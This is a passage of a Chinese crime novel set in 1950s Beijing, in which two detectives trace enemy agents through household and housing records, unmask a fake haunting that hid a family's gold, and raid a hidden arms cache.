看灶台里边痕迹，应该是一直烧着火，尸体都烤的干了，自然没有什么味道，这个赵二宝为了杀人不知道捉摸了多久了。如果不是他们过来查，这个案子恐怕真的就不了了之了。 之前一直强壮镇定的赵二宝，可看到那个尸体，人也萎靡了。 为了更好的检查尸体，他们直接将尸体连带一起的水泥都装起来，弄了车拉了回去。出院子的时候好多街坊邻居都看着，虽然尸体已经用布单子盖上了，可大家还是知道那是什么，之后就是带着手铐的赵二宝，所有人都不敢相信。 回到市局，市局这边有一间简单的验尸房，顾昭蕙跟两位法医一起将尸体清理出来，尸体已经失去大部分水分，甚至因为高温已经成了肉干样，仔细检查下发现尸体后脑有一块凹陷，应该是用锤子一类的东西凿的，看力度几乎没有留下任何的余地。 除此之外可能在外边停留了一段时间，尸体已经僵硬，赵二宝为了将尸体放到灶台下边，用锤子将关节位置敲碎了，所以尸体呈现扭曲的状态。 笔录是齐云松问的，赵二宝知道自己没有狡辩的空间，交代的也比较彻底。 这个赵二宝实际上一直控制着郑幺女，郑幺女因为父亲哥哥的娇惯，性格很是泼辣，只是自从发现郑幺女生育困难，郑幺女就开始没有底气，赵二宝看出来了，就开始控制郑幺女，他发现只要郑幺女足够泼辣，很多事情就迎刃而解，还不影响自己名声。杀人想法是第一次被人报案，那次是真的误会，当时他们两个打架是假的 35. 第 35 章 《五五迷雾寻踪》全本免费阅读 第三十五章 顾昭蕙跟齐云松开始查看户籍，看户籍也不是那么容易的，现在户籍上只有户主和直系亲属，上边都是手写的，连照片都没有。 幸亏之前进行了人口普查，京城又是做的最严的，不然他们还看不出来这么许多。 顾昭蕙看户籍没什么技巧，完全是将所有的资料都记住，她最近发现，当初为了破获南城的案子将南城那一片的户籍房产资料都记录了一下，这段时间没有使用的情况下，这些资料竟然自动隐藏了起来，除非她自己调动是不会突然出现了，不光这些，很多脑海中的记忆都稳定下来，不会出现以前那样信息爆炸的情况。 所以她并不担心记忆太多造成大脑混乱，拿过资料她先一张张信息过一遍。 齐云松拿过一沓资料查看，就发现顾昭蕙看资料非常快几乎没有停顿，看起来不像是查找什么，更像是翻书。他干脆将手上资料放下，直接拿起顾昭蕙看过的资料查看，他也是个有经验的，别看才二十五岁，但是工作经验都有十年了，这十年都是跟敌特作斗争，所以他在某些方面也是很敏锐的。 他速度也不慢，很快发现两个户籍有些问题，放在一边继续看，这一片资料大约两千多人，顾昭蕙用了一个上午将这些资料过了一遍，还在脑海进行了关联处理。 中午临吃饭前齐云松将三份资料递给顾昭蕙，顾昭蕙扫了一下，脑海中的资料跳了出来，同时还另外跳出两份。 随手从一堆资料中将那两份资料调出来，“你看看这两个。应该抓到一条小鱼。不过应该跟永兴的案子没有关系。” 齐云松将另外两份资料拿在手上，仔细看了一下突然看向顾昭蕙眼睛都是亮晶晶的，“真是太厉害了，你都记下来了？” 顾昭蕙点点头，“只是记下来，但是还要进行补充。” 齐云松之前挑出来的三份资料，是三个家庭，表面上三个家庭没什么问题，但是细看，这三个家里都有从南边过来的人，过来的时间都是四八年过来的，家里都没有孩子，三个家庭虽然都在一个片区住着，但是看地址应该相隔不近，三个家庭不在一个单位，一个是精密机械厂，一个是轧钢厂，另外一个是纺织厂。 顾昭蕙找出来的是齐云松没有看到的地方，这两个家庭与另外三个家庭相似，不同的是，这两个家庭属于低层人员，两个家庭四个人全都有工作，其中两个人还是送货员，与几个单位都有交集，另外两人也是分别在不同的地方，放在一起就可以发现，这几个人几乎组成一个小组，单独一个家庭没有问题，他们家庭成员工作几乎交叉相互，放在一起连城一片。这样就不能不让人怀疑了。 “去年纺织厂曾经遭到破坏四台进口机再进场不到一个月全都坏了，找不到破坏的人。还有去年下半年精密机械厂曾经出现泄密案件，虽然没有太大损失，人还没有抓到。”齐云松说着将几份户籍甩了甩，“没准这就是突破口。” 顾昭蕙点点头。 齐云松将几份户籍资料收好“你怎么知道这两个家庭有问题？要知道户籍中夫妻没孩子不光他们，还有好多。” “没孩子的是多，但是没有父母兄弟的少，另外他们搬过来的时间比较敏感，那个时间是南边最后撤离的时间，他们那个时候从南边过来本来就很可以，还有细看他们两个家庭落籍时间差不多。”顾昭蕙说着将他手里的资料拿出来，将另外三个家庭的落户时间点出来，几乎都是在两个月内办成的。“那三家开始落户地点不在这边都是买房住的，四九年后，这片因为属于市中心，进行了最先的户籍登记，他们登记后没几天就卖了房子，然后进了各个工厂，那时候工厂条件好，他们都属于高知分子，所以第一批分房。可是看他们分散状态，这房子应该不属于单位最好的，我记得早期最好的房子都是在一起的。” 齐云松点点头“你说的对，那时候空房多，这几个单位都很好，都有自己的片区，这种零星的房子就属于那种别人不愿意要的。” 刚进城的时候很多空房，所以那时候住房待遇好。他们都是搞技术的，选择这些地方就有些奇怪了。 顾昭蕙继续说“你看这两家，他们做的是基层工作，其中两个人工作要和几个厂子接触，进出方便，看起来便于传递信息，这人妻子是精密机械厂的卫生员，工作也是可以出入机密地方，不会引起人的怀疑。而让我觉着意外的就是，你看他们俩家的房子是前年买下来的，时间又有点接近。”因为在市中心比较重要的地段，他们的户籍资料更细致一些，例如里边有记载落户方式，这里大多数是单位分房，他们两家却是买房落户。 齐云松点点头同意顾昭蕙想法，不过还是感叹一下“虽然我也看出来一些问题，但毕竟看的慢，工作量太大，如果不是你的话，另外两家也无法关联在一起，我只是对他们产生一点怀疑罢了。”他这会也看出来了，顾昭蕙有过目不忘的本领，还不是那种死记硬背的过目不忘，里面信息都可以整合，这样的能力太强大了。之前他还觉着查户籍收获不会太大，毕竟他们之前已经查过了。没什么收获，现在看来他是错了，事情能不能办成还得看是什么人来做。 中午在派出所吃了一顿饭，蒋宇特意给他们俩开了小灶，虽然两个人交了粮票，可是好东西不是有票就能吃到的，果然每个食堂的大师傅都有一个拿手绝活，这位大师傅最会做的就是四喜丸子，大丸子有拳头那么大，里边用白菜做了配菜，那味道真的让人吃了难忘，普通的白菜都做的十分甘甜。 知道他们已经办完事，蒋宇还特意把他们送到旁边的房管所，看起来更加热情了，顾昭蕙有点莫名其妙。倒是齐云松看出端倪，“估计你的名声已经传过来了，他可能去了解了一下，所以才会这么热情，就怕将来有什么疑难杂案好来求助。”齐云松双手插着兜笑着说道。 顾昭蕙抬头看了他一眼，似乎觉着这个理由有点牵强，毕竟真的有案子，只要跟市局报告，他们接了案子肯定要来。做这么多不浪费吗。 齐云松忍不住笑的更大声，有时候敏感有时候又有点糊涂，这个顾昭蕙还真是个很有意思的女人。 有蒋宇帮忙，他们在房管局查看那片房产信息就简单的多，房管局同志直接带他们去了档案室，找到那一片房管信息，让他们自己看。 市里实行房屋国有，所有空置无主房屋归国家所有统一分配，另外私人房屋依旧归个人，但是去除自家人使用房屋，多余的要交给房管局进行往外出租，租金归个人，所以房管局这边关于房产信息都很细致，顾昭蕙查看的时候就发现，每当看 36. 第 36 章 《五五迷雾寻踪》全本免费阅读 第三十六章 “不是左撇子？”顾昭蕙下意识的重复一遍，脑海中许多信息都冒了出来，那天蒋永兴消失时的影像，尸体现场，后来见到赵庆远的情景。 所有的信息都跟走马观花一样出现在脑海中，霍地这些信息又消失了两个背影出现在一起，一个是胡同口快要消失的背影，一个是赵庆远骑车的背影。 顾昭蕙肯定的说“我现在可以确定赵庆远与蒋永兴追的人就是一个人，就算人不是他杀的，事情也跟他脱不了关系。” 齐云松点点头“你说的对，现在可能有另外一个凶手。” 顾昭蕙手上刷着碗，想着事，现在看起来是复杂了，蒋永兴的死，之前她都当做去调查人的时候发生的意外，可是如果不是意外呢？ 这时候看蒋父蒋母已经离开厨房，齐云松走了过来“或许永兴真的查到了什么。” “他们是灭口。”顾昭蕙抬着头看着齐云松，他们两个的想法统一起来。 现在破案思路需要进行调整。 顾昭蕙刷了碗，走出厨房发现蒋爸蒋妈出门了，院门都是关着的，他们俩可能已经猜出来了，齐云松过来，绝对不是为了吃一碗面。 两人坐在院子的石桌边上，顾昭蕙泡了两杯野酸枣干，这是二壮给送来的，是她母亲上山采了酸枣，然后去核蒸熟晒干，山上纯天然的酸枣也就指甲盖大小，去核非常麻烦，这一份酸枣个头均匀颜色漂亮显然是特意挑出来的。 “我们捋一捋，永兴当时跟着赵庆远进了胡同，看刀口和死亡状态。”说道这齐云松看了顾昭蕙一眼，当初他回来听队长说过这姑娘当时晕过去了，醒来后就去看了永兴，以她的手段永兴当时死亡状态她是非常清楚的，她当时的心情有是什么样呢？ 顾昭蕙看着他等着他说下一句，她并不会感觉不舒服，现在办理永兴的案子跟办其他案子都是一样的。 “可以看出来永兴当时是没有防备的，之前我们怀疑永兴是离开的时候被杀的，现在看来，应该是另外一人动的手。而赵庆远很有可能就在现场。” 顾昭蕙点头同意他的分析。 “那么我们就要考虑赵庆远出现在咱们视线内的动机，他利用自己儿子与佳蕙的关系接近，看起来有些冒险也有些突兀了，他这样的老牌特务那么谨慎的人，不会犯这种错误，一般他这样的人想要接近咱们，都是在外围不会用这么明显的关系。按照三处调查出来的东西，这人特务身份无疑了，只是现在也无法确定他是不是蝰蛇，他还有什么身份？” 齐云松想了想说“我记得你没进刑侦大队就破了一个案子，纵火案。” 顾昭蕙点点头“那个案子我只分析了现场，之后就是老范他们办的。” 齐云松眉头皱着“咱们的信息太少，明天咱们继续去房管局，我觉着会有收获。” 两个人又商量一下接下来工作重点，齐云松要走，顾昭蕙想到蒋永兴的工作笔记“我在收拾东西的时候，找到了他的工作笔记，我没看出什么信息，你拿回去看一看吧，你们的信息更全。” 说完带着齐云松去了屋里，笔记是两天前发现的，放在书架上， 书架里面的书不多只有十几本，顾昭蕙搬过来后也没看过，她现在有时间回到单位图书角看书，看报，基本都看一遍回家后利用空余时间将感兴趣的内容重新回顾一下。 齐云松接过笔记本发现书皮是那种牛皮纸的普通书皮，这是蒋永兴的习惯将书包上书皮，这也是为什么顾昭蕙没有第一时间发现。 接过笔记本，他简单的看了一下是从去年工作开始，每天工作内容，里边夹杂一些工作总结。粗略看一下里边没有什么特别的内容“行我拿回去让人分析一下。”估计不会有太大收获。 送走齐云松顾昭蕙坐在桌子前面，拿出自己的笔记本将将这几天的收获写下来。包括她的一些想法，进行记录，用的是加密语言，她最近一段时间觉着工作的危险性，她想做一些防范，她不惧怕危险。但是害怕遇到危险的时候没有人知道为什么。 第二天一早顾昭蕙就去了房管所，齐云松没一会也到了，“你看这个。”她将早上的收获交给齐云松。 齐云松看过之后“这房子位置很隐蔽呀。” “这样的屋子没有租出去，肯定有原因的。” 两个人用了一天时间才大致将这片可疑人员和可疑房屋挑出来，主要是顾昭蕙将有问题的房屋挑出来，齐云松来做分析，这段日子她也看出来齐云松逻辑推理能力挺强的，这完全是天赋了。 他们先咨询一下房管局的工作人员。 “你们说的这户出事还是四七年的时候，当时他们全家也不知道得罪什么人了，一家七口全都被杀了，人还被吊在房梁上，后后来来了几户人家就说是闹鬼，都搬走了，一直到四九年以后，房子归街道处理，往外租了两次，两户人家都说家里闹鬼，退了房。这房子才空了下来，本来想给几个单位做宿舍，那几个单位一听这个名声就都不要了。”房管局负责人，端着大水杯介绍着说到。 顾昭蕙看看那个房子的位置，脑海中将房主信息调动出来，然后看着脑海中的地图，顾昭蕙发现一个事情。她想了想说，“这边这户人家是一个人，我看是一个大花园子，里边有四处房子，没有交给房管局管理吗？” 这位负责人看了看她点的房子，说道“哦，这家啊，他家是四八年买的院子，属于私人住宅，咱们虽然收房子，可是有的私宅就是看个人的意愿，不会强制收房，这人三十多岁，听说娶了个老婆在前年死了，就自己一人住，这人没个正经工作，平常靠给人当个掮客在琉璃厂那边混，其实他们家就院子大点，那几处房子也破烂的不行，除了一处屋子，其它的想要住还得收拾一下。” “那这处呢，房主是不是不在？”顾昭蕙指着最后一处地点问道。 37. 第 37 章 《五五迷雾寻踪》全本免费阅读 第三十七章 “找一下街道吧。”顾昭蕙仔细检查了一下这个小小的密室空间。 “嗯。”齐云松应了一声，“引蛇出动？” 顾昭蕙点点头，“应该就在附近。” 傍晚的时候两个人再次来到院子中，跟他们一起过来的还有街道的李主任，李主任很热情的招待两人，因为是下班点，附近不少住户都看到了，尤其看到齐云松身上穿着的警服都好奇的过来看情况。 “啊，这是咱们街道新来的住户，这院子一直空着，大家都不敢住进去，正巧这两位同志要结婚，他们公安局不讲究这个，就分给他们了。”李主任笑呵呵的说。 大家看着齐云松身上穿着的警服，还有那高高的个子，挺拔的身姿，觉着或许这里真的要迎来新住户了。 齐云松笑着对李主任说，“哎，我看你们就是迷信，明天我就找几个瓦匠，把院子好好收拾一下，屋顶地面都扒一扒，再换了新门窗，跟新的一样。那有那么多忌讳。” “是呢，我喜欢后边的院子，以后还能养些花呢。”顾昭蕙站在齐云松身边娇娇俏俏的说，之后又凑到齐云松耳边用着自己觉着小的声音说，“尤其屋里的地面一定要挖深一些，里面太脏了。”说完皱皱鼻子有些嫌弃的样子。 齐云松心里暗笑，这人还挺能演“行都听你的。”那温和的笑容把脸上坚毅的线条拉的柔和了许多。顾昭蕙都差点愣住，仰着头看着男人的表情那么深情。 俩人在院子里演了戏，估计能看的都看了，就回去了，出门的时候齐云松还跟李主任说这边有什么好的修房师傅，看着就要好好修理一下房子的样子。 今天夜色有些明亮，大大的月亮高高的挂在天上，胡同里很安静，偶尔能听到因为天热在外面睡觉人的呼噜声。不过这个时间是人睡得最香的时候，突然一些轻微的索索声响起，那四合院东边封起来的边墙上忽然冒出一个脑袋，他小心的往院内看了看，似乎观察院子里有没有人，又或者观察一下四周。 过了一会没什么动静，那人上了墙头，这边墙边堆积着一些木头砖块，看着十分凌乱，但是那人从墙头上下来十分熟练的从乱石堆里爬了下来，似乎走了多少遍一样。 在院墙下停顿一下，这人就直奔主屋，过了一会从主屋拿出一个袋子，走路间袋子还有些金属磕碰的声音。 这人来到墙边将袋子放到地上，自己又顺着原路爬上墙头，然后拎着一根绳子，将下边的袋子拎上墙头，东西似乎很沉，他有些费力，上了墙头后抹了一把汗，这人转身刚想下去，就发现下边的梯子不见了。 突然一道亮光亮起，“李宝亮，原李家奶娘的儿子，因为母亲工作关系，一直住在李家，甚至连姓氏都随了李家。李家一家被杀后，你和母亲一起在动跨院住，李家不断传出闹鬼，可是跟李家有些关系的你却从来没有搬离。据邻居说你平常不爱做事，整日好吃懒做，一家子都靠你母亲在育婴园工作养活，可是你们家过得却是极好。”顾昭蕙说着今天下午调查出来的信息。 李宝亮似乎有些慌张不过就看只有她一人，他将手上的包裹往墙另外一边一扔，人就往下跳，墙头也就两米多，跳下去也没什么事，不过这人刚落地，就看到一个过于高大的身影站在那里，也许月光的关系，那身影本就高挑，加上地面直直的影子，看起来长长的一条人。 李宝亮根本没看清对面是谁，就吓得惊叫起来，“鬼呀——” “怎么个情况？”顾昭蕙透过窗户看着坐在审讯室里的李宝亮，那会她绕过院子从大门进去，就看到齐云松捂着鼻子站的老远，李宝亮瘫坐在地上，整个人恍恍惚惚身上传来恶臭，竟然吓得大小便失禁了。 “他一直说着有鬼有鬼的样子。”齐云松也不明白，一切只是巧合罢了，当年李家被灭门，一家七口被吊在房梁上，当时已经是晚上了，也是个月亮高高挂起的日子，他听见正院里好像有动静，就去查看，谁想到一进院子，就看到里面个挂着的人，透过房门，月光照射在挂在房梁上的几个人，影子映衬在墙面，拉的细长细长，那个影像他是永远也忘记不了的。所以今天惊慌失措下看到齐云松，就被吓得魂飞魄散。 齐云松觉着莫名其妙，自己有那么吓人吗。明明这人自己弄鬼吓唬别人，没想到会那么胆小。 李宝亮当年跟母亲一直在李家，长大后就成了李家仆人，那天见到尸体吓了够呛，当时是南边当政，那时候处理这个事情的人，也没有好好处理，将人拉出直接埋了就算了，还将家里洗劫一空。 不过李宝亮母亲在家里工作二十多年，知道一些李家的秘密，就说李家的财产绝对不止那么些，李宝亮听了就上了心，夜里偷偷进屋子里查，也是他比较幸运，因为地下室太黑，一脚踢在墙砖上，露出了密室，当时情况很乱李宝亮只拿了一些金条，就将密室合上了，为了防止被人发现，他开始装神弄鬼。吓走了一波一波住户。 直到看到顾昭蕙和齐云松，他实在害怕齐云松身上穿着的警服，所以才会连夜想着将金条转移。 “同志你们怎么知道是我的？”问询过后李宝亮心情平复许多，他不明白，他藏的这么深，怎么会被一下子找出来。 顾昭蕙看了看他没说话，直接离开了，她根本没有必要解释。李宝亮以为自己事情办的隐秘，实际上到处是破绽，他们一进正屋就看到了脚印说明这里最近还有人过来，他们就产生一些怀疑，另外就是顾昭蕙在正屋里发现了很多猫的粪便，这个就不是正常的了，猫咪爱干净，一般猫咪不会将自己住的地方弄得太脏，野猫更是回去远处排便。而且如果太脏的环境会让猫咪排斥，以后都不会过来，可是这里的痕迹却表明，猫咪经常来这里，之后顾昭蕙仔细检查一下发现屋子里有一些残留的猫薄荷，这就是原因了。 问询结果果然如此，李宝亮就是利用野猫来吓唬人的，屋子里放了猫薄荷吸引野猫前来，猫薄荷让猫兴奋，然后做出一些特别的事情，所以这附近的猫看起来都特别诡异，有时候还有一些特别的哭叫声，有的是李宝亮装神弄鬼，有的就是猫叫。 发现这些线索，他们只要跟街道询问一下就差不多能还原事情真相了，这个人必须离的很近，因为他要看着自己的财宝，能在那么隐蔽的地方发现密室，那么这个人对李家就有一定的了解，脑海中记录着这片所有户籍资料的顾昭蕙很快就锁定了目标，然后跟齐云松演了一场戏来了个人赃并获。 李宝亮的案子很简单，但是也有点难办，现在的法律也不太健全，侵吞他人财物，那家人都不在了，东西也算是无主物，他装神弄鬼估计也是教育一下，当年李家的凶杀案，其实已经是破了的，李家在打小日子的时候做了汉奸，秘密的给小日子收集信息，只不过因为这人隐藏的深，在小日子滚回家后，他也没有被发现，但是天网恢恢疏而不漏，最终还是让人查到了，然后被清算了，当年给他们收尸的人看到他们后边背上写着他们的罪行，就知道怎么回事了，草草的结案了。 这个案子顾昭蕙是从市局档案里找出来的，她将市局档案室里的案卷都记录下来，只是一直以为这边是悬案，没有联系在一起，还是到这边之后，那些信息才从脑海深处跑出来，让她将这个案子回想起来，她也是从这里发现，脑海中的信息还是要细分一下，不然就像这次一样，到了现场才渐渐回忆起来，当脑海中信息多了调动的时候需要的时间也多。 虽然挖出一个李宝亮，但是他们想找的线索还没有找到。所以两人还要继续寻找。 同时也不是没有收获，李家的灭门案，是因为他们家人做了卖国贼被人清算，但是看手段就是那边的手段，而执行人应该就是这边的某统人员，那么这清算人员与蝰蛇还有这片潜伏的人员有没有关系呢。顾昭蕙觉着这个值得查询一下。 顾昭蕙盯着的第二家人叫陈庄，这人三十多岁，住在胡同里的一处花园子，那处花园不大，里边也有四栋屋子，按照顾昭蕙查到的信息，陈庄没有正经工作，家里除了那处房子也没有什么财产， 38. 第 38 章 《五五迷雾寻踪》全本免费阅读 第三十八章 “抓到了。”齐云松从另外一边回来，看向顾昭蕙，然后手里拿着一把木仓，“这是他卖的东西。” 顾昭蕙眼睛都直了，“这么夸张。” 齐云松点点头，“已经调人了直接抓人，这木仓没看错应该是四八年丢失的一批，拢共三十七把，去年一起木仓案，一直没有木仓来源，这次抓到一条大鱼。”齐云松说道。 顾昭蕙皱了皱眉头“那个人是做什么的？知道这个地方，看起来也不是特别谨慎。” 齐云松摇了摇头，“这个需要审问。” 等了大概半个小时范伟强亲自带人过来，“什么情况？” “怀疑那院子里有大量武器，暂时知道里边有一个人，其它情况未知，对了后院还有恶犬。一定要小心。”齐云松介绍一下情况。 范伟强点点头，看向顾昭蕙“你等在这，不要上前。”说完看向齐云松，“你带人从前门突入，我带人从后院进入。” 齐云松摇头“我去后边，那恶犬应该是特意训练的不知道有几条，我带几个木仓法好的，听到前面动静，直接击毙。” 范伟强想了想点点头，“直接火力压制。”谁知道对方手上有什么武器。 两个人分别挑选人手进行攻击前准备，齐云松去了后门。 顾昭蕙等在原地，也知道自己伸手是弱点，她自己也想锻炼一下加深自己身手，每天坚持跑步，学着打拳，可惜没什么效果，除了跑步时耐力增加，其它的并没有感觉进步，尤其是饭量的增加，刚开始只能吃拳头那么大的馒头，现在已经能吃三个了，只是身上力气一般也没有增加，许是营养都上脑了。 吃的多了大脑会有种轻松感。她尝试食用糖块，在思考的时候吃些糖块会让她大脑运转更快，过后不会不舒服。所以她现在兜里总是会放上一两块糖。 等了一会就听见院子后边传来枪声还有几声狗叫声，前院倒是很快完成了战斗，枪声持续了一会，顾昭蕙已经计算出来了，开了三十七枪。 过了一会齐云松灰头土脸的回来，本来短一截的裤子被撕掉半个裤腿，好在腿上没有伤。 “好家伙，这人在后院养了十几条狗，也不知道是怎么弄的，除了两条狗，其它的狗都叫不出声。”他刚才也吓坏了，跟几个队员怕打草惊蛇没有上前，等听见前院的喊声，他们迅速地上了墙头，他第一个上去，就看到下边十多条狗看着他龇牙，尤其这大晚上的一个个眼冒绿光，吓死人了。 幸亏之前就想过没有留手直接用木仓打了，那些狗灵活，一个队员还被咬了，掉了一块肉，他打死了领头那条狗，那狗临死前还来到他身边把他裤子抓坏了。 顾昭蕙笑了笑，跟着齐云松一起进了院子，陈庄已经被五花大绑的抓了出来，看见他嘴角一块淤青，眼睛里露出凶光。 顾昭蕙看了一眼就移开视线，范伟强脑门全是汗叉腰站在院子里，看到他俩进来，指了指地上，“看看，多险。”地上那是□□带着一捆炸弹。 “搜搜，肯定不止这么点玩意。”范伟强咬牙切齿的。 一行人开始搜索，人多力量大，很快有了结果，他们在后院发现了一个隐秘的地窖，下去一看里边一排排的箱子，里边一半弹药，一半木仓。 “没错了就是当初没有找到的那批物资。”齐云松笑着说道。“算是去一块心病。” 收队回去都已经上午九点多了，虽然一宿没睡，也不能下班，趁热打铁将人审出来。 “裤子换了，我回家给你缝一下。”顾昭蕙看着齐云松破烂的裤腿没忍住说了一句。 齐云松看了看她，笑了“那就谢了。”他也没客气，回宿舍换了一条裤子，依然是露着脚脖子。 知道他们一宿没睡还没吃早饭，局长特批让食堂大师傅给他们做了香喷喷的肉丝面，好家伙还是富强粉。 也不知道是饿的还是真的好吃，一行人，每人两大海碗，顾昭蕙吃了一碗半，剩下半碗连汤都被齐云松给消灭了。 他们吃面的时候范伟强已经开始审问了，他回来的早，就是想要尽快突破，只看地窖的规模，不一定多少武器流出去了，他们尽快问出结果。 最开始被抓的人叫孙二喜，他不是买家，本身也不是个硬骨头很快就撩了，不过这人算是陈庄发展的一个下线专门负责送东西。 “我就是一个跑腿的，陈家大门的门环上有个牌子，表面上是福字牌，两面不一样，一边是蝙蝠图案一边是福字，我下班的时候看一下，如果是福字晚上三点到四点的时候去陈家拿东西，放在指定地点，就行了。” “每次交易地点都不一样，不过菖蒲公园多一些，那边有几个隐蔽地点。东西放下了我就走，不用看人来拿。” “同志，我真不知道他是干什么的，我其实就帮他传过三次东西。” “知道，那形状挺明显的，不过我就以为他是卖木仓的，不着调他是特务啊。要不借我俩胆我也不敢那。” 孙二喜知道的确实也不多，他家里情况清晰，祖辈都是京城人，一大家子人，从小到大都在人的眼皮子底下，经过调查他也就是陈庄找来的工具人。帮忙运送东西。 经过多次询问也知道孙二喜没有见过买家，将东西放到哪里卖家自己去拿。孙二喜第一次给人传递东西的时候，想偷偷看是谁来拿，结果被陈庄发现，打了一顿，他后来就不敢了，陈庄每次都给他十块钱，为了这钱他也不敢跟踪了。 陈庄那里的审讯不怎么顺利，这人受过专业训练，不是那么好突破的。 顾昭蕙将他的户籍再次分析，“得到他原籍查一下，或许他根本就不是原来的陈庄。”一个人从济市到京城，孤身一个人，说是有个老婆还早早死了，“他老婆也要调查一下，是不是真的有这个人，还有四八年，这批木仓四八年丢失，他四八年买的这处院子，他身后肯定有一条线。还有那个卖席子的人。”顾昭 39. 第 39 章 《五五迷雾寻踪》全本免费阅读 第三十九章 早上顾昭蕙将补好的裤子交给齐云松，齐云松看了看笑了然后去队长办公室换上，出来美滋滋的，左看看右看看的，“哎，我还是头一次穿合身的衣服。” 顾昭蕙瞥了一眼也挺满意的，她早就看他吊着个裤脚子不顺眼了。昨个晚上她直接将齐云松的裤子改了一下，这人个子太高，腿还长，上衣还凑合，裤子就短一截，按照他尺寸还肥大，裤腰那里肥出一大块。顾昭蕙把裤腰裤腿稍微拆下一块，然后缝在裤脚子上，她针线细腻，缝完之后几乎看不出来什么。 齐云松笑嘻嘻的凑上来，“商量个事？” 顾昭蕙看向他。 “帮我再弄两条裤子呗。我请你吃饭，一周。”齐云松属于一人吃饱全家不饿那种人，他父母早先都在战场上牺牲了，家里就他一个人，日子过得简单，身上衣服除了单位发的衣服，就没别的了，所以就没一条合适的裤子，他会的最多的就是吧裤脚子放开，实在难看。 顾昭蕙点点头，“行啊，你拿来吧。吃饭就算了。”多大点事。 “不能算，应该的。”心想着这手艺好啊，以后少不得麻烦她。 等范伟强上班他们才知道昨天陈庄已经被三处带走了，一晚上已经足够让陈庄开口了。 这个陈庄也不是什么硬骨头，只是想着抗一抗兴许能蒙混过关，等知道了自己行为造成的结果，他也不敢扛着了，什么都说了，就想着戴罪立功。 陈庄果然不是真正的陈庄，是他冒名顶替的，他自己的名字叫陈辉，这个名字还是很容易被查到的，顾昭蕙一听脑海中就自动浮现他的资料。 原太原统子的办公室主任，本来潜伏这种事情也轮不到他，谁让负责这件事的上司被炸弹炸飞了，他就被派到京城，他也怕自己的名字被人怀疑，就借着一个堂兄的名字，那位堂兄在小日子轰炸的时候死了，也是巧合到了京城正赶上他们一批物资出现问题，他负责寻找，他找到之后，发现这件事情只有他一个人知道了，他就把东西给藏了起来。 四九年后，他跟上边也没了联系，他就安生过日子，娶了老婆没两年因病去世了，当时手上紧，就卖了一次木仓，之后就想着卖木仓挣点钱，顺便给公安整点麻烦。他一共卖了五次木仓一百发子弹。他胆子不大，枪卖给以前认识的人，至于那个人将木仓卖给谁了他就不知道。 市场上卖席子的人，也是个联络人，他给的席子里装了两根小黄鱼，是定金，等收到木仓还能得到三根。 “这可真是暴利，怪不得他没劲住诱惑。”齐云松看着口供说道。 “就算他今天不因为卖木仓被捕，以后还会因为别的，原本他与上边失联，只要老老实实过日子，或许-”顾昭蕙住了嘴，这时候政策还是很严厉的，“竟然联系上了，将来肯定要犯事的。”有时候不是你不想做就能不做的，事情会逼着你做。 “行了这个案子就到这了，咱们今天趁热打铁看看最后这一家。不过我觉着这家总不会有问题了吧。”齐云松说道。 顾昭蕙觉着按照概率这里应该也没有问题，不过既然都已经找出来了，就去看看。 来到那处院子，院子紧锁着，这位置也是靠着巷子边上，院子不小，直通前后胡同有四十多米进深，看倒座房，有七间，虽然一直没住人看着倒是挺规整。 “我去居委会要一下钥匙。”齐云松对顾昭蕙说着，今天就他们两个过来，组里其他人都在写报告，关于昨天的行动。 顾昭蕙点点头，她自己先围着院子转悠一下看看环境，这院子在胡同西口，挨着西边巷子，正是胡同和巷子交接的地方，有好几条道路进出，院子东边是个大杂院，但是他家院门开在西边，平常要是进出与那边邻居几乎碰不到。 顾昭蕙总觉着这地方有点太便利了，她站在西边巷子口，脑海中调动地图，这往南没多远拐角就到大街上，往西一直走出了胡同，再拐一条胡同，然后走巷子往西北，她倒吸了口气，那边是芦苇地，这一路上有十几户四合院，可是除去两家大四合院院门的位置完全可以多比起来。 她霍地转头，看向院子，来到大门前，看了看锁，没有锈住，看痕迹近期有打开的痕迹。 不过不是很频繁，顾昭蕙顺着巷子往后边走，一直走到后边胡同，并不是直通的胡同，是个半截子胡同，有两个大门，看着院子都不大，应该是独门独院的，再看向前边四合院，在西北角有个小角门，那门上没有锁。 顾昭蕙深吸了口气，心理砰砰砰的跳着，用手下意识的捂着心口下边，感觉坚硬的触感。她推门而入。院门没有关，一推就开。 这是个随墙门，进去后就是后罩房，旁边有一间屋子，开着西窗还有一个小门，她一进去，西屋就有个苍老的声音说，“谁呀？” 顾昭蕙看过去，一个老头推开门走出来，顾昭蕙看他头发花白，人稍微有点佝偻，不过个子挺高的，如果挺起身能有一米八，看着他的脸，顾昭蕙有那么一点违和，“大爷，我是咱们这片区派出所的。”说着拿出了证件，打开让对方看一眼，今天她穿的一身便服，不过刚才心中念头一闪，将自己身份亮了出来。 她仔细观察着，那人看着证件的那一刻眼神闪过一丝不自然，但是很快调整过来，“同志你有什么事情吗？” 顾昭蕙看着他笑着说“哦，是这样的我是新来的，我们领导让我熟悉一下咱们这片，以后好开展工作，我记得这家姓张。”顾昭蕙从斜挎包里拿出笔记本翻看一下，“大爷您户籍不在这边吧？” 那老头笑呵呵的说，“我的户籍不在这边，我家里是海城那边的，我儿子在这边，家里就剩我一个了，我就跟过来了，不过他家里地方小，我就找了这个活，帮人看房子，虽然没有工钱拿，这不是还能白住吗。” 顾昭蕙点点头“是这样啊。”她那笔在笔记本上写了点什么，然后合上本子，往院里看看，“大爷我能看看院子吗？” 那老头看着顾昭蕙点头说“可以随便看。” 顾昭蕙往里走，这边是后罩房，除去大门一间，还有七间，东边有一夹道通向前院，顾昭蕙看了看夹道大门是虚掩着的。 后罩房最西边是大门紧挨着的是门房，中间三间应该是这老头住的地方，顾昭蕙随意的掀开门帘进屋，屋子里很简单，最基本的家具摆设，不过就在床头的位置还有一个收音机放在那里。 这三间屋子东边两间是敞开的，里边摆设简单，东边靠窗还有铺小炕，上面一些被褥，似乎是住人的地方，顾昭蕙眼睛跟探照灯似的扫视着，同时脑海中演练着。 忽然她看向西屋看着那个被门帘遮挡的地方，然后她目光看向堂屋南边墙壁，那下面有一大块是新粉刷的，但是并不能掩盖下边的暗记，很多时候血迹是不会被轻易掩盖，石灰刷墙的时候是湿它会让下边干涸的血迹化开，晕染到石灰当中，然后等石灰干了上面就会有一些浅褐色的痕迹。 身后传来轻微的呼吸声，然后一个明显与之前有些不同的声音响起“同志您在看什么呢？” “你说那边有看门人？”齐云松问。 “是的。张家请的人，也没花钱，就是让人住在那。”片区主任说道。 “什么时候有人的，为什么没有登记。” “他不是京城人，就是随儿子过来养老的，他家住房困难，前年就来了。” 